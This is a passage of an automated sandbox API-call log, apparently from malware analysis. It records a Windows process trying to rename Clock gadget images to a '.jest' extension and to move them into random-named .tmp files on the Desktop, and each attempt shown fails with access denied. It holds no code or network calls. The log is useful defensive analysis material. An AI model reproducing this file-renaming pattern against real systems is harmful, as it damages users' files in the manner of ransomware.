returned 7 [0126.120] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0126.121] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.121] GetLastError () returned 0x0 [0126.121] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.121] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶆ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.121] GetLastError () returned 0x0 [0126.121] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.121] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.121] GetLastError () returned 0x0 [0126.122] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.122] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ň", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.122] GetLastError () returned 0x0 [0126.122] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.122] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.122] GetTickCount () returned 0x1151fb1 [0126.122] GetTickCount () returned 0x1151fb1 [0126.122] GetTickCount () returned 0x1151fb1 [0126.122] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.122] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.122] GetTickCount () returned 0x1151fb1 [0126.122] IsWindowVisible (hWnd=0x30268) returned 0 [0126.122] Sleep (dwMilliseconds=0x0) [0126.124] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.124] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x142fffc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.124] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0126.124] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\trad.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\trad.png.jest")) returned 0 [0126.124] GetLastError () returned 0x5 [0126.125] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥瑜慲⹤湰g") returned 0x4b [0126.125] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=75, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 75 [0126.125] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥瑜慲⹤湰g") returned 0x4b [0126.125] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=76, lpWideCharStr=0x1467bd4, cchWideChar=151 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad.png") returned 76 [0126.125] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥瑜慲⹤湰⹧敪瑳") returned 0x50 [0126.125] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14c2ea4, cbMultiByte=80, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 80 [0126.125] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥瑜慲⹤湰⹧敪瑳") returned 0x50 [0126.125] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14c2ea4, cbMultiByte=81, lpWideCharStr=0x14cf144, cchWideChar=161 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad.png.jest") returned 81 [0126.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad.png", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad.png", lpUsedDefaultChar=0x0) returned 76 [0126.125] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad.png", lpFilePart=0x18e6d8*="trad.png") returned 0x4b [0126.125] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8f67259, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8f67259, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb571a0fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4c3b, dwReserved0=0x78, dwReserved1=0x0, cFileName="trad.png", cAlternateFileName="")) returned 0x143ce48 [0126.125] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.125] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x142fffc, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.126] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0126.126] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x3e6)) [0126.126] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x3e6)) [0126.126] GetUserDefaultLCID () returned 0x409 [0126.126] VarBstrFromR4 (in: fltIn=0x47944500, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914") returned 0x0 [0126.127] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14aaba4, cchWideChar=1 | out: lpWideCharStr="ñ") returned 1 [0126.127] VarCat (in: pvarLeft=0x18eab4, pvarRight=0x18eac4, pvarResult=0x18eaa4 | out: pvarResult=0x18eaa4) returned 0x0 [0126.127] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.127] GetTickCount () returned 0x1151fb1 [0126.127] GetTickCount () returned 0x1151fb1 [0126.127] GetTickCount () returned 0x1151fb1 [0126.127] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.127] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.127] GetTickCount () returned 0x1151fb1 [0126.128] IsWindowVisible (hWnd=0x30268) returned 0 [0126.128] Sleep (dwMilliseconds=0x0) [0126.129] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.129] GetFullPathNameA (in: lpFileName=" 6sj7wPr1DGWD_v9q_0Wle-wFENPb6U2c-_kibMoAMYEh0Oj0K4C0pwxt_9nAYMJJFPAGLM_z6 sLCs6vlwrRSuFrMFpzhP55yqoI.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ 6sj7wPr1DGWD_v9q_0Wle-wFENPb6U2c-_kibMoAMYEh0Oj0K4C0pwxt_9nAYMJJFPAGLM_z6 sLCs6vlwrRSuFrMFpzhP55yqoI.tmp", lpFilePart=0x18e708*=" 6sj7wPr1DGWD_v9q_0Wle-wFENPb6U2c-_kibMoAMYEh0Oj0K4C0pwxt_9nAYMJJFPAGLM_z6 sLCs6vlwrRSuFrMFpzhP55yqoI.tmp") returned 0x8f [0126.129] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad.png", lpFilePart=0x18e708*="trad.png") returned 0x4b [0126.129] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\trad.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ 6sj7wPr1DGWD_v9q_0Wle-wFENPb6U2c-_kibMoAMYEh0Oj0K4C0pwxt_9nAYMJJFPAGLM_z6 sLCs6vlwrRSuFrMFpzhP55yqoI.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ 6sj7wpr1dgwd_v9q_0wle-wfenpb6u2c-_kibmoamyeh0oj0k4c0pwxt_9naymjjfpaglm_z6 slcs6vlwrrsufrmfpzhp55yqoi.tmp")) returned 0 [0126.129] GetLastError () returned 0x5 [0126.129] GetLastError () returned 0x5 [0126.129] SetLastError (dwErrCode=0x5) [0126.129] GetLastError () returned 0x5 [0126.129] SetLastError (dwErrCode=0x5) [0126.129] GetLastError () returned 0x5 [0126.129] SetLastError (dwErrCode=0x5) [0126.130] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.130] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.130] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0126.130] GetFullPathNameA (in: lpFileName=" 6sj7wPr1DGWD_v9q_0Wle-wFENPb6U2c-_kibMoAMYEh0Oj0K4C0pwxt_9nAYMJJFPAGLM_z6 sLCs6vlwrRSuFrMFpzhP55yqoI.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ 6sj7wPr1DGWD_v9q_0Wle-wFENPb6U2c-_kibMoAMYEh0Oj0K4C0pwxt_9nAYMJJFPAGLM_z6 sLCs6vlwrRSuFrMFpzhP55yqoI.tmp", lpFilePart=0x18e6e4*=" 6sj7wPr1DGWD_v9q_0Wle-wFENPb6U2c-_kibMoAMYEh0Oj0K4C0pwxt_9nAYMJJFPAGLM_z6 sLCs6vlwrRSuFrMFpzhP55yqoI.tmp") returned 0x8f [0126.130] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ 6sj7wPr1DGWD_v9q_0Wle-wFENPb6U2c-_kibMoAMYEh0Oj0K4C0pwxt_9nAYMJJFPAGLM_z6 sLCs6vlwrRSuFrMFpzhP55yqoI.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6a733620, cFileName="7wPr1DGWD_v9q_0Wle-wFENPb6U2c-_kibMoAMYEh0Oj0K4C0pwxt_9nAYMJJFPAGLM_z6 sLCs6vlwrRSuFrMFpzhP55yqoI.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.130] GetLastError () returned 0x2 [0126.130] GetLastError () returned 0x2 [0126.130] SetLastError (dwErrCode=0x2) [0126.130] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.130] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.130] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0126.132] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.132] GetLastError () returned 0x0 [0126.132] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.133] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ň", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.133] GetLastError () returned 0x0 [0126.133] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.133] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.133] GetTickCount () returned 0x1151fb1 [0126.133] GetTickCount () returned 0x1151fb1 [0126.133] GetTickCount () returned 0x1151fb1 [0126.133] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.133] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.133] GetTickCount () returned 0x1151fb1 [0126.134] IsWindowVisible (hWnd=0x30268) returned 0 [0126.134] Sleep (dwMilliseconds=0x0) [0126.135] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.135] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.135] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0126.135] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_dot.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_dot.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_dot.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_dot.png.jest")) returned 0 [0126.135] GetLastError () returned 0x5 [0126.135] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥瑜慲彤潤⹴湰g") returned 0x4f [0126.135] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14c2ea4, cbMultiByte=79, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0126.136] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥瑜慲彤潤⹴湰g") returned 0x4f [0126.136] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14c2ea4, cbMultiByte=80, lpWideCharStr=0x144ddec, cchWideChar=159 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_dot.png") returned 80 [0126.136] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥瑜慲彤潤⹴湰⹧敪瑳") returned 0x54 [0126.136] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=84, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 84 [0126.136] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥瑜慲彤潤⹴湰⹧敪瑳") returned 0x54 [0126.136] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=85, lpWideCharStr=0x14cf24c, cchWideChar=169 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_dot.png.jest") returned 85 [0126.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_dot.png", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_dot.png", lpUsedDefaultChar=0x0) returned 80 [0126.136] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_dot.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_dot.png", lpFilePart=0x18e6d8*="trad_dot.png") returned 0x4f [0126.136] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_dot.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8fd9676, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8fd9676, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb574025c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbcb, dwReserved0=0x78, dwReserved1=0x0, cFileName="trad_dot.png", cAlternateFileName="")) returned 0x143ce48 [0126.136] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.136] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.136] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0126.136] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0xe)) [0126.137] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0xe)) [0126.137] GetUserDefaultLCID () returned 0x409 [0126.137] VarBstrFromR4 (in: fltIn=0x47944502, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.02") returned 0x0 [0126.137] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr=")") returned 1 [0126.137] VarCat (in: pvarLeft=0x18eab4, pvarRight=0x18eac4, pvarResult=0x18eaa4 | out: pvarResult=0x18eaa4) returned 0x0 [0126.137] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.137] GetTickCount () returned 0x1151fc1 [0126.137] GetTickCount () returned 0x1151fc1 [0126.137] GetTickCount () returned 0x1151fc1 [0126.137] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.137] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.137] GetTickCount () returned 0x1151fc1 [0126.137] IsWindowVisible (hWnd=0x30268) returned 0 [0126.137] Sleep (dwMilliseconds=0x0) [0126.138] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.138] GetFullPathNameA (in: lpFileName="IkIZrGBsv3361xcnlzIeCKctHwdTwz8PEu41jCFiaqq_MQFfnXplooxuH8ln3CSQwK84b_Hs1s_2DyQyY7jV2oduUwdq7L7IWRt h.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IkIZrGBsv3361xcnlzIeCKctHwdTwz8PEu41jCFiaqq_MQFfnXplooxuH8ln3CSQwK84b_Hs1s_2DyQyY7jV2oduUwdq7L7IWRt h.tmp", lpFilePart=0x18e708*="IkIZrGBsv3361xcnlzIeCKctHwdTwz8PEu41jCFiaqq_MQFfnXplooxuH8ln3CSQwK84b_Hs1s_2DyQyY7jV2oduUwdq7L7IWRt h.tmp") returned 0x8f [0126.139] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_dot.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_dot.png", lpFilePart=0x18e708*="trad_dot.png") returned 0x4f [0126.139] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_dot.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_dot.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IkIZrGBsv3361xcnlzIeCKctHwdTwz8PEu41jCFiaqq_MQFfnXplooxuH8ln3CSQwK84b_Hs1s_2DyQyY7jV2oduUwdq7L7IWRt h.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ikizrgbsv3361xcnlzieckcthwdtwz8peu41jcfiaqq_mqffnxplooxuh8ln3csqwk84b_hs1s_2dyqyy7jv2oduuwdq7l7iwrt h.tmp")) returned 0 [0126.139] GetLastError () returned 0x5 [0126.139] GetLastError () returned 0x5 [0126.139] SetLastError (dwErrCode=0x5) [0126.139] GetLastError () returned 0x5 [0126.139] SetLastError (dwErrCode=0x5) [0126.139] GetLastError () returned 0x5 [0126.139] SetLastError (dwErrCode=0x5) [0126.140] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.140] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7c4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.140] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0126.140] GetFullPathNameA (in: lpFileName="IkIZrGBsv3361xcnlzIeCKctHwdTwz8PEu41jCFiaqq_MQFfnXplooxuH8ln3CSQwK84b_Hs1s_2DyQyY7jV2oduUwdq7L7IWRt h.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS 